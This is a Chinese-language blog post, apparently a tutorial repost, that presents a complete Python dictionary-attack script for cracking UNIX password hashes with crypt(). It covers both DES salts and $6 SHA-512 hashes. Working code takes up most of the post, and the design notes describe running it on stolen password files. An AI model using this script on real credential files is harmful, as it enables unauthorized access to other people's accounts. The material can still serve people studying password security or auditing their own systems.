UNIX口令破解机

    在编写我们的UNIX口令破解机时,我们需要使用UNIX 计算口令hash 的crypt()算法。Python 标准库中已自带有crypt 库。要计算一个加密的UNIX 口令hash,只需调用函数crypt.crypt(),并将口令和salt 作为参数传递给它。该函数会以字符串形式返回口令的hash。

设计思路:

    黑客穷举了字典中所有单词,并用Unix crypt() 函数对它们加密,然后将结果偷来的加密密码进行对比。 这就是:字典攻击法 ,来破解加密的口令。

环境:Ubuntu
	  Python3.5.2
	  
# -*- coding: UTF-8 -*-
#破解UNIX口令密码
import crypt

def testPass(cryptPass):	#穷举密码
  salt = cryptPass[0:2]
  dicFile = open('dicfile.txt', 'r')
  if salt == '$6':
    for word in dicFile.readlines():
      word = word.strip()
      cryptWord = crypt.crypt(word,cryptPass)
      if cryptWord == cryptPass:
        print('[+] Found Password:' + word)
        return
    else:
      print('[-] Not Found Password')
      return
  else:
    for word in dicFile.readlines():
      word = word.strip()
      cryptWord = crypt.crypt(word, salt)
      if cryptWord == cryptPass:
        print('[+] Found Password:' + word)
        return
    else:
      print('[-] Not Found Password')
      return

def main():		#处理口令文件
  passFile = open('passwords.txt','r')
  for line in passFile.readlines():
    if ':' in line:
      user = line.split(':')[0]
      cryptPass = line.split(':')[1].strip()
      print('[*] Cracking Password For: ' + user)
      testPass(cryptPass)

if __name__ == '__main__':
  main()
 

get源代码戳我

原文地址:https://www.cnblogs.com/zhichaoma/p/7881835.html